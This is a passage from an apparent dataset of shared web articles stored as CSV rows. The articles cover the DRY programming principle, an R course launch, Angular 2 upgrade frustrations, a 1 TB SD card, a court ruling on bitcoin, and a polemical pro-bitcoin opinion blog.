I, for one, find the difference to be staggering. It turns out that for every hour we code, we spend other ten hours reading code (ours or someone else's). This is extremely important. The effort we put in a day of work goes mostly towards reading code. Of course, reading is not enough. We need to also understand . Which means we have to do our best to produce code that is clear, concise and easy to read. For everyone's benefit, including ours in the long term. Keep this in mind as we'll get back to this idea later on. A note on DRY For those who are not familiar with what DRY means, it basically stands for don't repeat yourself. This programming principle or best practice if you'd like, is advocating for creating abstractions on top of every repetitive portion of your codebase. DRY has tons of advantages. For one, abstractions mean that, if changes will be required in the future, you will have to deal with them in one single place - the abstraction itself. Consuming another module's functionality, someone else's API, etc. you're only concerned with how the interface (or abstraction) looks like. You don't care about the underlying implementation. Thus, software design patterns such as the facade pattern allow for easy refactoring of the implementation, without hindering the abstraction used by others. So abstractions are good and DRY totally makes sense. Then why am I still insisting on repeating code in some scenarios? Well, it's because... The cost of abstractions Every abstraction comes at a cost. A cost that may not be immediately visible. But it reveals itself in time. Abstractions carry an extra layer of knowledge. Knowledge that you may not necessarily understand why it exists in the first place (especially if you didn't write it). And every new piece of information places cognitive load on your brain. Which, in turn, increases the time spent on reading that piece of code. Down the rabbit hole The problem with DRY and religious following of this principle is not visible in small projects. But in mid-sized and large ones. In those kind of projects, it's very rare that you will write only one abstraction per duplication. This is because, as the project evolves and new requirements come in, old code must always adjust. Imagine this. You enter a new project and scan the codebase for the first time. After getting used to what's there and learning your way around, you start implementing features, changing old ones, etc. You get to touch existing code and existing abstractions. You didn't write those, but they're there. And probably there's a very good reason for that. As Sandi Metz said: Existing code exerts a powerful influence. Its very presence argues that it is both correct and necessary. Which makes you not wanting to touch it. Now the new feature that barely came in could definitely make use of that nice abstraction that you have there. But, as it turns out, the abstraction needs a bit of tweaking. It wasn't thought for this particular use case. If only you could change it a bit... Or maybe write a new abstraction on top of it that could encapsulate some other repetitive logic as well? Yeah, that seems to be the answer, right? That's what DRY says anyway... It's easy to see how we can drive this madness to absolute extremes. Extremes where everything is encapsulated in abstractions. And those, in turn, have their own abstractions on top. And so on and so forth... In these cases, the abstraction lost its value. Its existence was determined by dogmas we follow blindly. And this makes the abstraction a wrongful one. It exists just because we can. As mentioned, abstractions have a cognitive cost associated with them. If anything and alongside the added benefits, that cost almost always hinders and increases the time we need to understand it (remember we're spending more time reading code than writing it). But even worse than a good abstraction, is a wrongful one. Because wrongful abstractions not only kick you in the nuts, they also laugh while doing it. To DRY or not to DRY So when do you encapsulate repetitive code and when do you not? The answer is simple in itself. It's just hard to get it right from a practical point of view. But this does come with experience as well. Always abstract if the cost of abstraction does not surpass the cost of duplicating code. That is, if the abstraction you wrote requires someone new on the project to spend hours understanding it, then you're probably doing something wrong. Don't abstract just because you can. Predict whether code duplication will happen again on that particular portion or not and decide accordingly. Sometimes, repeating code might hinder much less than following a tree of nested calls to different methods and keeping track of passed parameters, possible side effects, etc. Closing thought - in defence of myself Hopefully this article does not scream ""To hell with DRY and other shit!"". I absolutely think that is a very good programming principle. But I also urge you to not follow it blindly. Put everything you learned in context and always question the validity of your ideas and actions. This is the only sane way towards becoming a better professional. Looking forward to your comments. Remember to smile often and always question best practices. PS: I couldn't forget about the dreaded CACTUS EMOJI -> ��.",en
1474311710,CONTENT SHARED,7756118769128656312,3829784524040647339,4404062714242930135,,,,HTML,http://simplystatistics.org/2016/09/19/msdr-launch-announcement/,Mastering Software Development in R · Simply Statistics,"This sequence differs from our previous Data Science Specialization because it focuses primarily on using R for developing software. We've found that as the field of data science evolves, it is becoming ever more clear that software development skills are essential for producing useful data science results and products.",en
1474371643,CONTENT SHARED,-4145260601063545880,-1393866732742189886,5698474775920535228,,,,HTML,https://hackernoon.com/why-learning-angular-2-was-excruciating-d50dc28acc8a?gi=13bcfa27581a,Why Learning Angular 2 Was Excruciating,"A few months ago I decided to try my hand at web development. Angular 2 was new and shiny at the moment, so I decided to download it and start building a website. Now, as someone who is primarily a Java developer, this was an altogether new and very interesting experience. I followed the alleged ""5 Minute Quick Start Guide"" and after an hour and a half of wrangling with Angular 2 and its plethora of dependencies, I was able to get something up and running. Next, I started to build a real app. I decided to build a personal blog platform from scratch, mostly for the learning, and partially because I've been meaning to start a blog for ages. The desire to have a blog would be the carrot keeping me motivated to learn new technologies and keep building my project. Over the months, I've been keeping up with the Angular 2 releases and, each weekend, I've been chugging along on the blog. Oh, did I say chugging? I meant banging my head vigorously against the wall over and over and over again trying to understand and deal with the freaking Javascript ecosystem. Maybe I'm just used to the slow paced, sturdy, battle tested libraries of the Java world. Maybe learning web development starting with Angular 2 is like trying to learn a new video game and starting on hard core mode. I don't know. All I know is that the Angular 2 release was, from my perspective as a Java engineer, a freaking disaster. Every single minor release made lots of breaking changes. Every single time I checked back on the accursed ""5 Minute Quick Start"", huge swaths of it had completely changed. Don't even get me started on the whole Angular 2 router business. That was truly a fiasco, and agonizing to deal with as a user, particular one who is less familiar with the Javascript world. I find myself writing this post in a moment of passion, fuming over the latest Angular release which was announced a few days ago. Angular 2, for rulz this time, has been released and you can upgrade to it and not have to deal with breaking changes for a whopping 6 months! Well then, I naively thought to myself, I should upgrade my blog from @angular 2.0.0-rc.4 to @angular 2.0.0. This was the journey that I just underwent: Upgrade to @angular 2.0.0 Remove all 'directives' fields from my Components. Apparently Angular2 has decided that Modules are the way to go. Get rid of all imports anywhere that end with _DIRECTIVES. Upgrade @angular/forms from 0.3.0 to 2.0.0. For some reason, @angular/forms was super behind the rest of the versioning for angular. Until this release. Upgrade angular-material to 2.0.0-alpha.8-2 (can we just pause for a second and appreciate the ridiculousness of a version called 2.0.0-alpha.8-2??). Upgrade to typescript 2.o, which, as I was unpleasantly surprised by, is currently in beta. Having finally reached a version of relative stability in Angular, it was dismaying to realize that angular-material, a key tool in my stack, has unstable dependencies that are ahead of Angular 2's dependencies. By this point, `npm start` was working. This is where the hard part began, because now I had to deal with tremendously cryptic error messages that have been plaguing me ever since I started learning Angular 2. Such as this one: After some troubleshooting (by now I've gotten okay at debugging System JS's useless error messages), the issue was caused by this errant line in my systemjs.config.js file: I guess @anguler/router has a umd now. Whatever a umd is......... The next issue I encountered after that was this: Great, a freaking syntax error from a random file in angular-material. There is no helpful error message, no line numbers. There is precious little to help me figure out what to do next. I don't know whether to upgrade dependencies, downgrade dependencies, install new dependencies, change the syntax of my tsconfig.js file (which undoubtedly changed when I upgraded to typescript 2.0). I'm lost in a sea of confusion and frustration. Now, those of you who are seasoned web developers can probably troubleshoot an issue like this fairly easily. That's not what I'm getting at. It's not about the particular issue I just faced. It's that the Javascript ecosystem is utter chaos. Every new version of every new library comes with a slew of breaking changes. New libraries will be released before their APIs are nailed down. Libraries in beta are now old news because only alpha libraries are new and interesting. Stackoverflow posts that are older than 6 weeks old are no longer relevant and probably deal with an issue from an old version that I'm no longer using. The Java engineer in me is screaming with the frustration of this ecosystem. What sort of madness has web development devolved into? What the f**cking f**ck is going on with Javascript these days??? Okay, I think it's time to take a step back and say that I actually love Angular 2. When I get to a point where all the dependencies have been upgraded, and everything is working, when Intellij is underlining the correct things and my typescript compiler is hooked up right, Angular 2 is awesome. To be fair, I have been using versions of the library that have thus far not been officially released. Maybe, you say, it's my fault for trying to download and use a version of the library that is still in alpha/beta/release candidate and expecting it to work and be relatively easy to use. Perhaps you are right. But, considering the fact that hundreds of thousands of developers are already using Angular 2, we should ask ourselves the question: is it responsible to release libraries that are still very much a work in progress? Does it make sense to announce a release candidate and then make tons and tons of breaking changes over the course of evolving from rc.1 to rc.6? How many hundreds of thousands of human hours were wasted dealing with the pain of upgrading a version of Angular 2 and all of its related dependencies? And, as most engineers will attest to, developer hours are a precious commodity in today's job market. How many developers have been utterly burned by the experience of trying to use Angular 2 and have sworn off Angular forevermore in favor of React? How many other Javascript libraries are out there that have also caused such frustration and undue anguish for their users? Perhaps the Javascript ecosystem is just experiencing intense growing pains. Maybe developers are quickly understanding the errors in their initial designs and brazenly correcting them as they blaze on in iterating through better and better versions of their libraries. Maybe the Javascript world is where the vast majority of software engineers will live soon, since the tools there will have evolved rapidly and effectively. Perhaps people will accomplish more in Javascript and the tools written in Javascript will be easier to use than the tools in any other software engineering landscape. Or, maybe, just maybe, the Javascript world will always be sort of a joke, a place where engineering hipsters go to waste time and feel like they're on the cutting edge of innovation when really, they are living in a world of madness and chaos, throwing hours of productivity down the drain so that they can use the latest and 'greatest' tools out there. But I am just a humble Java engineer. What I'm most interested in is: what do you think?",en
1474373049,CONTENT SHARED,-3825317043780889928,-4028919343899978105,4727404427918329812,,,,HTML,http://www.b9.com.br/67188/tech/sandisk-cria-cartao-sd-com-maior-armazenamento-do-mundo-1-tb/,SanDisk cria cartão SD com maior armazenamento do mundo: 1 TB,"A SanDisk conseguiu nos últimos anos comprimir um enorme espaço de armazenamento em seus cartões de memória, e eles nunca pararam de tentar comprimir mais ainda. A prova foi mostrada hoje na Photokina 2016 , evento de fotografia na Alemanha. A empresa anunciou o maior cartão SD do mundo, que tem incríveis 1 Terabyte de armazenamento. O cartão é um SDXC Extreme Pro e foi criado, de acordo com a empresa, para suprir a necessidade das novas tecnologias, como a gravação de vídeo em 4K, 8K, em realidade virtual ou em 360 graus. O seu preço ainda não foi anunciado oficialmente, mas em 2014 a Sandisk vendeu um modelo de 512 GB por 800 dólares. Então não deve ser algo muito longe desse valor. A demonstração na feira é, por enquanto, de um protótipo fabricado pela Western Digital , que em maio deste ano comprou a SanDisk por cerca de 19 bilhões de dólares. A marca, até agora, continua intacta. Não sabemos por quanto tempo.",pt
1474373950,CONTENT SHARED,7790567704847993284,8759620187357735368,-1731436454842904234,,,,HTML,http://www.coindesk.com/us-judge-bitcoin-money-coin-mx/,US Federal Judge Rules Bitcoin is Money in Coin.mx Trial - CoinDesk,"A federal judge in New York has ruled that bitcoin constitutes a form of money. The ruling comes from the ongoing case involving the now-defunct Florida bitcoin exchange Coin.mx and one of its former operators, Anthony Murgio. Murgio, who was indicted on alleged money laundering charges in July of last year , had sought to dismiss two of the charges against him in part by arguing that bitcoins don't count as ""funds"" in the context of US law. According to , Judge Alison Nathan of the Southern District Court of New York rejected that bid, writing that bitcoin is money by virtue of how it is used. Nathan wrote in her ruling: ""Bitcoins are funds within the plain meaning of that term. Bitcoins can be accepted as a payment for goods and services or bought directly from an exchange with a bank account. They therefore function as pecuniary resources and are used as a medium of exchange and a means of payment."" The ruling comes on the heels of a court decision in Florida in which a Miami judge ruled that, according to state statutes, bitcoin doesn't qualify as a form of money . That decision sparked debate amongst observers and has sparked renewed effort in the state legislature to develop regulations around the digital currency. The Coin.mx case is connected to a broader investigation by the US government into an alleged cybercrime ring tied to a series of hacks on major companies and financial institutions, including Wall Street giant JPMorgan Chase. According to prosecutors, Coin.mx was used as a conduit for laundering proceeds from the purported operation. Representatives for Murgio did not immediately respond to a request for comment. Image via Shutterstock",en
1474374283,CONTENT SHARED,1266958185239582088,5660542693104786364,-3553317644940542661,,,,HTML,http://thefinanser.com/2016/09/are-you-a-bitcoin-denialist.html/,Are you a bitcoin denialist? - Chris Skinner's blog,"Many of the people I meet believe that bitcoin is bad and will fail. It's rare to meet anyone who says that it could change the world and will succeed. But I've found one and he happens to have written a very good blog about it: Akin Fernandez, Entrepreneur Developer of Azteco . It's a long read, but worth it if you want to be informed. TL;DR If you have software that does something that is valuable, it will sell itself once people hear about it. What other people are doing wrong does not impact your software. There are some interesting and sportsmanlike debates happening around software properties and philosophy in the area of Bitcoin and the Blockchain. There are two distinct camps in this fascinating debate; the software developers and the non software developers . The non software developers can be characterized as Statist Sceptics . On top of not understanding how Bitcoin works, they do not like Bitcoin in principle , because they are Statists , and they are doubtful (without reason) that it can gain traction and spread globally. They have been Moving the Goalposts (a ) for several years in debates about Bitcoin, and have had to concede humiliating defeat many times as Bitcoin resists all their baseless nonsense and hopelessly bad predictions. First they said Bitcoin was a Ponzi Scheme, then they said it was only for ""techies"" then they said it was a bubble, then they said some other nonsense about it . Now, no one says any of those things, and they are onto the next iteration of their FUD; for example, the transaction rate is ""not fast enough"". They have conceded that Bitcoin works exactly as specified, and are running out of novel attacks. The rumblings of complete capitulation are starting to be written, and its a distinct pleasure to read them. Compounding the anti-Bitcoin proponent's frustration are voices that they recognize as deeply authoritative ( IBM ), saying that, ""The underlying technology could change everything"". Those that are retreating into that camp now say, "" And also Bitcoin "" when they talk about ""Blockchain Technology"" as the latest way to try an diminish the world changing effect Bitcoin will have. All the Bitcoin detractors have several characteristics in common. 1 They do not develop software 2 They do not understand or use cryptography 3 They do not have the language to describe cryptography 4 They have a quasi religious belief in the necessity of the State 5 Their only way in to the software world is by analogy Without an understanding of cryptography, it is not possible to understand why Bitcoin works. Without an understanding of Austrian Economics, it is not possible to understand why Bitcoin is limited to 21 million units. Without an understanding of software and its history, it is not possible to predict the future course Bitcoin will take. If you do not understand cryptography, specifically, Pretty Good Privacy , it will be difficult to understand the idea of a cryptographic signature, and its properties. Bitcoin is not a system of ""Smart Contracts""; it is a system that uses cryptographic signatures to verify that a piece of text is now ""locked"" to the owner of a private key, who has the sole power to unlock that text and sign control over it to another owner of a different private key. All of this takes place on a public ledger. This is not at all like a contract, and neither is it ""smart"". In order to ""send"" Bitcoin to another person ( N.B. sending and receiving Bitcoin never actually happens, you simply sign an entry in the ledger and your balance, the number of entries you can sign, changes which is represented as a number ), you must use your private key to sign a message that is verified by the network. The system that controls this and verifies that the same signature on a piece of text can only be assigned to one key at a time is the breakthrough in The Double Spending problem , the explicit reason that Bitcoin was developed. This system can be used for other purposes that require registration of signed text, that is certain, but the Blockchain was developed specifically to facilitate the creation of a system of money that is free from government control, and immune to inflation. This idea, the idea of sound money, is anathema to Statists. They love government money that robs the poor and is the source of many of the troubles we face today. Do you see what I did there? I described what Bitcoin is, without using any poor analogies and stating only the facts. This is important, and I will come back to it later. Bitcoin does what it is designed to do. It does it very well. It will do it even better in the future, and this is something that non software developers do not understand; software is not fixed . The Bitcoin network we have today is not the same as the Bitcoin network at its start. There will be improvements in every area, including the speed at which the network runs. In the past, downloading the entire Blockchain was needed for every peer. Now you can download a pruned version that is smaller, and there are clients that do not require downloading the entire Blockchain at all . Anyone who presents a Straw Man Argument that Bitcoin cannot work because it takes ""too much"" time to confirm transactions, or the transaction volume is small compared to SWIFT or some other centralized system clearly cannot think , and doesn't know anything about software or its history. In the past before the global software precedents, they could have been excused for doubting the spread of any particular software or hardware, as the infamous Clifford Stoll did when he said the web "" would never take off"" but now, in 2015, we have numerous examples of devices and software that spread globally and that scale . The flash drive, which used to hold 64MB, now holds 64GB in the same form factor. There are one thousand and twenty four megabytes in one Gigabyte. That means in the picture below, the top drive has one thousand times more storage space than the bottom drive. I have no doubt that these same people, had you enthusiastically said to them, ""Your 64MB flash drive will hold a in a few years and cost "" would have scoffed at the idea. The same thing is happening with Bitcoin. Men who know nothing about software are scoffing at the idea that Bitcoin can change and improve. Its an a-historical perspective, to use parliamentary language. On IRC, they simply say, ""DERP!"". Often these people group the Blockchain and Bitcoin with tangentially related projects like Ripple, leaving out the crucial details that allow you to distinguish one from another and make a proper judgement, either by deliberate omission or ignorance. Ripple is very different to Bitcoin. It is a ""pre mined"" currency where all the tokens are created at once, by the developers. Bitcoin on the other hand, is designed quite differently. Its money creation mechanism follows a predictable curve, and is achieved through the process of competition between miners. This was done to keep the expansion of money supply under control until all the Bitcoin is generated, and is a direct result of the correct ideas in Austrian Economics. There is no boss, thankfully It is entirely right to say, ""Bitcoin is controlled by no one"". When this construction is used, it is meant to distinguish between Bitcoin and tools like Ripple, which is centrally controlled . Clearly, the Bitcoin miners control their own hardware and software, and the Bitcoin reference client is under the supervision of the man who is currently responsible for it. At the same time, the network requires consensus for it to operate properly, and it cannot be corrupted or gamed by a single entity. This is exactly what is meant by, ""controlled by no one"". It is not controversial to say this, and it is an accurate description of how the Bitcoin network operates. What the Statists do not like about Bitcoin not being under central control, is that its success is a strong, undeniable signal that control by democratic government is not needed for essential societal functions like money, and that there are better ways to organize every aspect of society that do not require government. The idea that money will no longer be the special preserve of the State and its corrupt central banks is deeply disturbing to these men, and so, they do anything they can (which is precisely nothing) and say anything they can (which is too much) to undermine the idea that Bitcoin does not need to be centrally controlled. Comparing any centralized service, like Ripple, which maintains a definitive central ledger in its offices, to Bitcoin is absurd . These two softwares are in completely different categories, and this bad comparison highlights the naked computer illiteracy of the men who make this febrile comparison. Ripple tokens, the way they were generated, who controls them and the software are all crucial pieces of information that you need to grasp before you can make a judgement about it or compare it to Bitcoin. Once you have a grasp of these, you can clearly see that Ripple is nothing at all like Bitcoin . Bitcoin, if you need to make a comparison to existing software, is more like the BitTorrent Protocol . Once again, if you have used BitTorrent, you will know what I am talking about. If you have not, you will not. There is nothing stopping anyone from making clear, detailed distinctions between different software projects. We can say that Ripple is nothing like Bitcoin, and X software is like Y software. This is useful, and shying away from the details is not; in fact, omitting the details of how software works only causes confusion, and helps spread uncertainty. GPG users and promoters are very used to the computer illiterate characters who will say things like, ""Yes! but I'm sure the government can read PGP messages, there is no way that they can't; they can do anything!"" without any evidence or knowledge of what they are talking about. It is only now that Edward Snowden has confirmed that GPG is beyond the reach of the NSA, that their ignorant anti GPG nonsense is forever dispelled as garbage. Once again, this is the Faulty Appeal to Authority fallacy ; GPG works because it works , not because someone says it works. The same is true of Bitcoin. No matter what software you are talking about, you need to make the case as to why it should be adopted by a user. If there is nothing like it to do the job your software can do, your sales pitch is easy. Bitcoin has this advantage; there is nothing like it in terms of what it does and its scale. Other software projects, have a harder case to make. Ssssssssssssssssssssssssssss! Imagine for yourself, a new software project, that wants to leverage a new technique. In order to sell the project, the facts about it need to be explained, and the software demonstrated. Anyone with experience in testing new software knows how these pitches go. They are very short and terse in the text (just as the Bitcoin White Paper is) and you are invited to run the software yourself. The install process is simple, and then the software either does what it developers claim it does, or it does not. Its all simple and straightforward. If the explanation is too long, and the software essentially unusable, then you have an indication that s omething might be wrong . Couple with that, the fact that it doesn't solve an outstanding hard or easy problem, and the second level alarm bells start ringing. BitTorrent and Bitcoin solve two very hard, distinct problems. BitTorrent solves the problem of how to share files to many people without a central server to distribute them serially. In the past, if you wanted to download a large file, you had to line up behind other people who were downloading the file one person at a time. With BitTorrent, the file is broken up into pieces and distributed out of order for re-assembly at the destinations in parallel. It is much faster than a serial download, and each person with a full or partial copy of the file can share the parts of it they have with other people who do not have those parts. Its all coordinated automagically in the software. BitTorrent is a breakthrough in how files are distributed, and was the result of many years of thought on the problem of how to distribute files without a central server. There had been other attempts at solving this problem , and it took several iterations before BitTorrent was developed by one man: Bram Cohen . Bitcoin has a similar history. For decades developers have been trying to solve the problem of creating an efficient intangible money token. After several attempts, the main problem, how to stop people spending the same token twice (a problem of synchronization) was solved in the form of Bitcoin. In each of these cases, the explanation is simple, the software solves a big problem, and you can download it and use it immediately to solve that specific hard problem. Its clear, unambiguous and instantly beneficial. Now back to our imaginary software project. This project does not solve an outstanding problem. It is designed to be a database like MySQL or PostgreSQL, usable by any organization that wants to store data. This project is trying to re-purpose the Blockchain software to do the common and simple task of a database of a kind that runs on commodity hardware and free software. There is an explicit rejection of Bitcoin by its developers and promoters and the use of Bitcoin in this project, and most importantly, they have not figured out how to create a Blockchain without Bitcoin ; they try to hide it in a sea of text and jibes describing what they are doing. What is wrong with this picture? This imaginary software that I describe is not trying to solve a real problem . Any organization can download MySQL, hire some developers, not even top flight ones, and create extremely fast applications that do everything they could imagine they need. If they have an extra requirement of being able to audit who wrote what to the database and when, by adding cryptographic signatures to all entries and changes, they could have a completely audit-able and 100% reliable system where who did what and who owns what entry could be infallibly known. I will divert quickly to describe how it could be done. In a trusted organization that requires verifiable database entries, it is possible to use GPG signatures to stamp each entry in a way that makes them unforgeable and tamper evident . To do this, you issue everyone with write access to the database, a GPG Keypair that they use to sign entries and changes. Each signer will have a GPG Keypair, and a separate machine will automatically sign all entries with its own keypair, for time stamping and authenticating entries. To understand how this works and why it is infallible, you need to understand what GPG does, what a cryptographic signature is , and how it can be used to authenticate text, enable non-repudiation of a promise and the integrity of entries that are passed through this tool. Creating a system as I describe here does not require a breakthrough in software or theory. It is doable now, and can scale, and the tools are well understood and secure. The vaunted infallible, incorruptible public ledger features of this system can be had without using the Blockchain or an experimental derivative of it. If you want a database that is filled with entries that are not corruptible, you do not need a Blockchain to achieve it, you need infallible digital signatures precisely of the kind provided by GPG. One of the tell-tale signs of what we call "" "" are features that have no meaning. Imagine a software project that made the claim that they have, ""made Blockchains controllable"" That doesn't mean anything . All software is controllable by default, by the developers who write it. This is not a new feature or a breakthrough, it is simply the way things already are . It is very suspicious that a set of men attack the idea of Bitcoin, rather than expound the value of their own offering. The world needs more software. This is a fact. If you have something that is good, then by all means promote it. Saying that another piece of software, that by your own admission does not even overlap with your use case is a bad thing, quite rightly raises serious questions and suspicions about the true motivation behind such statements, and detracts from the thing you are claiming you are trying to sell. Its complicated Bitcoin is not, ""just a database"" anyone who says this does not understand what a database is, or the achievement of solving the Double Spending Problem. Databases are everywhere, common, and have been for decades. Bitcoin is causing global excitement precisely because it is not ""just a database"" , it is profound and new breakthrough. Bitcoin users do not have a common objective, but use a common means to achieve their objectives. Saying that Bitcoin users have a common objective is like saying people who use the fiat dollar or web servers have a common objective. Clearly they do not; web servers are used to serve web pages . The objectives of the people publishing pages are expressed in the text and images the users post for the world to see. Bitcoin is nothing more than a tool, just like any other tool, and nothing can be implied or imputed onto its users simply because they use it. The Bitcoin designer had a specific aim in mind, and part of his genius was to predict the human reaction to a money that is sound. As the true nature of money is further exposed by Bitcoin's spread, more people will come to distrust and reject fiat money issued by central banks, and the creator of Bitcoin's mission will be complete. Bitcoin is designed to be decentralized. The miners and software maintainers do not have ""limited supervision"" over the network; it is ordered by its operation and doesn't require supervision or control. To say that it does, demonstrates a profound misunderstanding of how Bitcoin works. The only way you can claim that Bitcoin is supervised is to change the meaning of the word ""supervised"" and this is another thing that Bitcoin detractors do; they change the meaning of words to confuse and distract anyone who is trying to understand Bitcoin's operation as a newcomer or computer illiterate that can be swayed by bad arguments because they cannot distinguish the truth and lies about Bitcoin. Blockchains are run on software. They could also be run with pencils and paper and the mail. Blockchains are data . It is wrong to say however, that if you write the rules that you want expressed that they will ""do exactly what we tell them to do"". This is false. The Blockchain works precisely because the rules that govern its operation are finely tuned. The rules that govern its operation is the breakthrough. You cannot simply wave your hands, shout, ""die Bitcoin die"" at the top of your lungs and command that a Blockchain start exhibiting a set of features you desire. That is nonsense on stilts. Problems do not fall to the mind of man on demand. This is why they are problems . The Blockchain and by extension Bitcoin, if it were ""just a database"" or a simple matter of telling computers to ""do exactly what we tell them to do"" would have been invented at the same time that the database was invented . Blockchains are not just databases , they are something very new , and novel , and clearly, very hard to understand for some. You cannot, bearing this in mind, ""obtain the benefits of the Blockchain"" without Bitcoin. This idea, that you can have a Blockchain whilst entirely stripping away Bitcoin by simply writing some software should send up a giant red flag. It is entirely legitimate to desire and imagine and then write any manner of software you want. It may even be possible to create software that seems to be irrational on the surface, but which works. But there are some things that cannot be done , and even if they can, do not need to be done . As I described above, there is no need to use a Blockchain to secure database entries, make them infallible and trustable, and to extend that trust outside of the organization that holds the central database. No new techniques need to be developed to do this, so the question that immediately comes to mind is... Why are they doing this? Recording a cash deposit is easily done on a true database like MySQL, enforcement in a breach of contract is done by courts all the time. You cannot have software enforcement of a payment of money without the valuable token that can be confiscated by the software contract , so removing Bitcoin from your novel offering doesn't make any sense. You need the valuable token to ensure that both parties do what they promise to do. But if your philosophy is that the State should be the sole arbiter in disputes, there is no need for Blockchain contracts ; paper ones will do. It is only in the scenario that you want to replace Government courts as arbitrators in disputes, and lawyers to draft and interpret the law that Blockchain contracts have real, revolutionary utility. Adding an extra layer of complexity to the existing monopoly courts and banking system that even the promoters of the bad idea cannot explain coherently and convincingly is not a good business idea. You cannot simply ""choose to look at Blockchains as an open source database"". First of all the term ""Open Source"" refers to software licenses , not to the license that covers the content stored in them, and the Blockchain is not a simple database; it is far more than that , as I have explained. The entire idea of Blockchains and Bitcoin is that the transactions are irreversible . It is not a beneficial feature to create a Blockchain that has reversible entries on it. If you want that, you use PostgreSQL or MySQL not a hacked version of the software that runs the Bitcoin Blockchain. It is not practical from a business perspective to use tools for something other than what they were designed for, especially when there are mature tools that do exactly what you need without any risk. Take that into account and then superimpose the Procrustean idea of reversible Blockchain transactions, and essentially you are demonstrating that you have entirely missed the point and innovation of the Blockchain. The Blockchain was designed specifically to bring into being a new form of money. It literally is a money printing press. The form of money it generates is clean, ethical, anti-centralization and anti-State. This is why it rankles so many people who are invested in the idea of the State, and who are its certified gatekeepers. There is no right way to do any sort of software. Software is written to meet the needs of its users. If you want to use a database to store pictures of your navel, that is a correct use by default. There is no wrong way to use software, but there is a wrong way to use it if your goal is very specific. If you want an efficient database to be used internally in a corporation or enterprise, you do not need to re-engineer the Blockchain to remove Bitcoin from it to do so. You simply use MySQL or PostgreSQL. You use the right tool for the right job, and you do not force a tool on to a problem simply because the words that describe it are hip and fashionable. The Blockchain was specifically designed to allow Bitcoin and its properties to exist. By definition, that is the correct use case for that software; to create a decentralized, peer to peer digital money substitute without the Double Spending Problem. If you have another novel use case and you re-purpose the software used to create the Blockchain, that is good; but if you do not have a novel use case, you do not need to use the Blockchain. The Blockchain does not need anyone to be right about it, and it does not need to be defended, any more than arithmetic needs to be defended; it just is , and that is all there is to it. Its use and growth is its own defence. Its logic is its own defence. Its utility is its own defence. Most rational people do not have an objection to any software being re-purposed or re-designed. It simply doesn't matter what people choose to do with their time and what software they want to release. Software cannot attack other software. It is irrational violent men who attack other men for holding the ""wrong"" ideas , and of course, the anti Bitcoin men are very eager to physically attack Bitcoin users simply because they use Bitcoin . This is the stark difference in ethics of the evil men who are against Bitcoin and the men who are natural and normal. Software doesn't care about what view you take. It only executes as it is instructed to execute. Either your product works and achieves your aims or it does not. If it does, then you have to convince someone that your offering is worth risking their data and business on. This is the simple truth. A Blockchain is demonstrably not like any other database software. The superficial advantages that the Blockchain offers in terms of proving that something has happened at a certain time or that someone has the keys to unlock an entry, can be trivially replicated on MySQL or PostgreSQL with a GPG layer. Propagating messages in a verifiable way is easily done with SSL and GPG without a central server, using BitTorrent as the transport layer. Anyone familiar with GPG and the Web of Trust knows this. Permissions in MySQL are mature and reliable. If cost savings (and risk savings) are your aim, you would be far better off using the standard tools in an organization, which by its nature is centralized and where accountability and privacy are needed. The Blockchain is for a different purpose; its aim is to move accountability to the network and out of the hands of a central authority . If you are selling something to an organization that requires central authority, you do not need the Blockchain and its guarantees, because these are achievable by compulsion, and verification done by digital signatures. Transparent audit logs are achievable by other means than a Blockchain, and organizations more often than not, like to keep the details of their internal databases private , as they contain business sensitive data. Spreading out the database task into the public onto servers not under the control of the corporation is not something that is desirable. A product that does this is a solution to a problem no one is trying to solve looking for a client that does not exist; the complete opposite of Bitcoin and the Blockchain, which is a solution to a real problem that has been sought after for decades, that everyone needs. You do not need a consensus mechanism in a company where everyone is under centralized control. The board is the consensus mechanism. Computers today are so powerful, and storage so inexpensive, large databases can run on laptops without any problem. Distributing the load over many machines is something that is required only in ""Big Data"" Scientific applications, where the idea of the Blockchain and its record keeping abilities are simply not needed. There is a demonstration floating about from one of the ""Blockchains not Bitcoin"" companies, where they claim to have replicated Netflix on their software. Not only is this use case an example of piracy of copyrighted material, but this function is already efficiently done with BitTorrent on a global scale. These new Blockchain derivative products do not know what they want to be, and of course, Netflix does not want a distributed system in the way they devise, they want a centralized system so they can profit. The only thing they could want in terms of distributed architecture is the use of BitTorrent to stream films to their customers. Everything that is Blockchain is worthless to them...unless they start taking Bitcoin for on demand viewing of films, which of course, makes the case for Bitcoin as a transformative ""tech"". Someone said that Google could reduce their server costs with a hacked Blockchain. This is absurd. Hardware is very cheap. Re architecting Google's infrastructure to use a Blockchain offers them no advantage whatsoever. Google's needs are simple; they would pay billions for a very fast high level loss-less compression breakthrough. This would mean that their existing infrastructure could instantly have greater capacity with no hardware retrofitting. Apple just had something similar happen to them; a software developer wrote a novel image compression algorithm - they bought it and are incorporating into their software. That is real innovation ; solving specific problems that are well defined, with a novel approach. Uber, AirBnB, Spotify and the vast majority of companies all need simple databases to run their services. The true innovation that helps them is Bitcoin. It reduces the cost of processing payments, and eliminates the risk of fraudulent payments completely. This is not something to be sneered at; it is a revolution in how people pay for services , and it will completely destroy the Credit Card industry forever . What sort of man could possibly be against this? Or claim that it is anything less than one of the most profound beneficial breakthroughs in the history of computers and software? No Straw Man, Faulty Appeal to Authority, corporate gibberish or FUD can stop Bitcoin. Its use case is too obvious and compelling, the savings too great, the elimination of payer fraud too seductive. Bitcoin is real. It is not vaporware . It is here now, you can use it, benefit from it and you don't have to ask anyone's permission to do so. The permissionless nature of Bitcoin is an offence to the Statists, who openly say that every new technology or software should be exposed to scrutiny and regulation by the State, no matter what it is . Bitcoin, being immune from that sort of anti-Americanism , doesn't care what you think , or recommend; it simply is , it will do what it is meant to do, like BitTorrent does, and nothing can stop it. You are not required to like it, integrate with it, use it or even talk about it, and lying about it will not dissuade people from using it. The benefits are obvious to anyone who can think, and those who think instinctively like to save time and money and resent lining up and showing ID to use their own money. Setting up a Blockchain wallet takes literally five minutes and once its done, and you fund it , you have hand-held global access to the entire world market, as a bank, where you can send and receive an unlimited, unrestricted amount of money to anyone, anywhere, instantly. That's a good thing . This is the core of the reason why Statists dislike Bitcoin. It sets people free to do as they like with their own money. Unfortunately for them, its too late to stop Bitcoin. All the vaporware, wishful thinking and FUD in the world can't stop it. Years of bad press written by ignorant men have not stopped its growth, and every day that it grows it is going to become harder to retard. By all means, continue to write your own software, but do not believe for an instant that anything you say can stop Bitcoin. Only software can stop Bitcoin, and to do that, its function needs to be a better Bitcoin than Bitcoin , not any coin that is in any way crippled. Bitcoin has unleashed an idea into the world that will never ever go away . The world has changed. You can either deal with it, or leave it . 